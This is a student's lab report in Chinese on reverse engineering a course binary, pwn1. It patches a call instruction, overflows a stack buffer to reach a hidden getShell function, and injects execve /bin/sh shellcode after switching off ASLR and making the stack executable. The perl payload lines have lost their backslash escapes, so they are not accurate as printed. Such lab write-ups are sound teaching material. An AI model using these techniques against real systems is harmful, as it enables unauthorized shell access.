2020-2021-2 20175335 丹增罗布 《网络对抗技术》Exp1 PC平台逆向破解
1.「1」逆向及Bof基础实践说明及实践目标:
(1.)本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
除了main和foo,该可执行文件中还包含一个getShell代码片段,正常运行情况下这个getshell不会执行,我们的目的就是想办法运行这个代码片段
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
(2)现实情况中的攻击目标:
-运行原本不可访问的代码片段
-强行修改程序执行流
-注入运行任意代码
「2」 基础知识
(1)熟悉Linux基本操作
"objdump"——object dump——项目转储
"-d"——disassemble——反汇编
"|"——管道符
"more"——分页显示
”%!xxd“——
将文件改为16进制显示
“%!xxd -r”———
将文件改回ASCII码
apt-get install xxx ——下载xx
cat、cp、rm ......等等
(2)理解Bof的原理
-能看得懂汇编、机器指令、EIP、指令地址。
(3)会使用gdb,vim......等等
1.1.直接修改程序机器指令,改变程序执行流程
①知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
②学习目标:理解可执行文件与机器指令
③进阶:掌握ELF文件格式,掌握动态技术
任务一 手动修改机器指令,改变程序执行流程
1.在博客园pc平台逆向破解任务5网页链接里找到pwn1,直接下载道kali或下载到共享文件夹里。(随你便喽!)
2.通过cp
命令备份pwn1为pwn1.bak,以便出现问题后或做任务二三时,不用重新下载复制。
3.通过 objdump -d pwn1 | more 命令对pwn1反汇编。
4.汇编指令出来后,回车查看更多,翻到getshell、foo与main函数查看其地址,main函数call的地址是8048491即foo函数的首地址,getshell的首地址是804847d。call的机器指令为e8 7dffffff,e8为call的机器指令,7dffffff即0xffffff7d是关于eip寄存器地址的偏移地址即等于eip寄存器指令存放下条指令地址0x80484ba-目的地址0x8048491。
5.现任务是将call的地址改为getshell的首地址804847d,所以应该将机器指令e8 7dffffff的地址部分换成0x80484ba-0x804847d=0xffffffc3即c3ffffff,通过 vi pwn1 命令对pwn1文件进行编辑,可以看到文件内容是16进制,可以通过:
%!xxd
将文件内容转换成可以读懂的ASCII码。
6.转换成ASCII码之后,通过输入/e8 7d
可以查找main函数call指令的机器代码。
7.将光标定位在7上按r输入c
,光标定位在d上按r输入3
,然后输入%!xxd -r
将ASCII代码转换为16进制。
8.输入:wq
保存退出。
9.此时再反汇编( objdump -d pwn1 | more )查看main函数call的函数已经变为getshell。
10.运行pwn1,主函数会调用getshell函数。
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流。
任务思路:
1.call指令分解:
当main函数调用foo函数时,会产生一个call的机器指令,而call指令实际上分成两步执行:
- push eip
- jump XXX
即call指令执行过程中首先将eip压入栈中,然后再进行跳转。eip中保存的是call指令下一条指令的地址,当调用结束后,程序通过这个地址进行返回。即该地址为返回地址。
2.缓冲区溢出:
当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞
,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
1.对pwn1文件进行反汇编( objdump -d pwn1 | more ),输入 /foo 快速锁定foo函数内容,main函数为foo函数输入的预留空间为0x1c,即28字节,加上ebp寄存器的4字节,所以eip寄存器的值应为33-36字节的值。
2.使用gdb pwn1
命令调试程序,输入r运行,输入40个字符会发生缓冲区溢出,显示Segmentation Fault。其中的33-36个字符‘1234’会覆盖eip寄存器的值,用info r
查看寄存器的值,eip为0x34333231,若将eip的值构造为0804847d就可以在foo函数执行完回到main函数时进入到getshell函数。
4.无法从键盘输入16进制的值,所以用perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
命令构造出16进制地址并将输入内容放进input文件里。地址应倒过来写, a是换行,x0a
表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
5.通过 (cat input; cat ) | ./pwn1 pwn1并将input里边的内容输入到pwn1运行的程序中,就可以跳到getshell函数中,通过管道符|,将input文件作为pwn1的输入。
完事!
任务三 注入shellcode并执行
1. 准备一段Shellcode
(1)shellcode就是一段机器指令(code)
-通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
-在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
(2)实验采用老师推荐的shellcode。如下:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
2. 准备工作
1).先利用apt-get install execstack命令安装execstack软件包.( sudo apt-get install execstack )
2).然后执行如下命令(有些指令具有权限,最好在root模式下进行( su ).)
1 输入execstack -s pwn1 //设置堆栈可执行 2 输入execstack -q pwn1 3 输入more /proc/sys/kernel/randomize_va_space 4 输入echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 5 输入more /proc/sys/kernel/randomize_va_space
3.构造payload
输入perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
注入攻击buf(cat input_shellcode;cat) | ./pwn1
4.使用gdb进行调试
- 打开另一个终端,先找到pwn1的进程
- 找到pwn1的进程号是:2383.( ps -ef | grep pwn1 )
- 启动gdb调试这个进程(一定注意进程号)
- 在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入:
info r esp
查看esp寄存器的值为0xffffd21c
输入 x/16x 0xffffd1e0 以16进制形式查看0x0xffffd1e0地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd1e0+0x00000004=0xffffd1e4
-
重新构造攻击buf:
- 此时我们重新形成input_shellcode,输入
1 perl -e 'print "A" x 32;print "xa0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 进行攻击,此时我们发现攻击成功!
实验收获及感想总结:
什么是漏洞?漏洞有什么危害?
答:漏洞即为系统或者程序中存在的缺陷,漏洞可以用来进行未授权访问用户或者对用户系统进行破坏。
本次实验较为简单可根据视频很快就能做完,但还是有发现很多不足之处对一些基础知识及汇编只是掌握不到位,在边学边做边查中了解了很多知识,尤其是对堆栈的结构和操作有了很多认识,收获非常可谓颇丰。期待着下一次的实验带来惊喜,但同时希望自己在以后的学习过程中能够更好的利用好一切资源,让自己突破突破提高提高自己的能力和见识!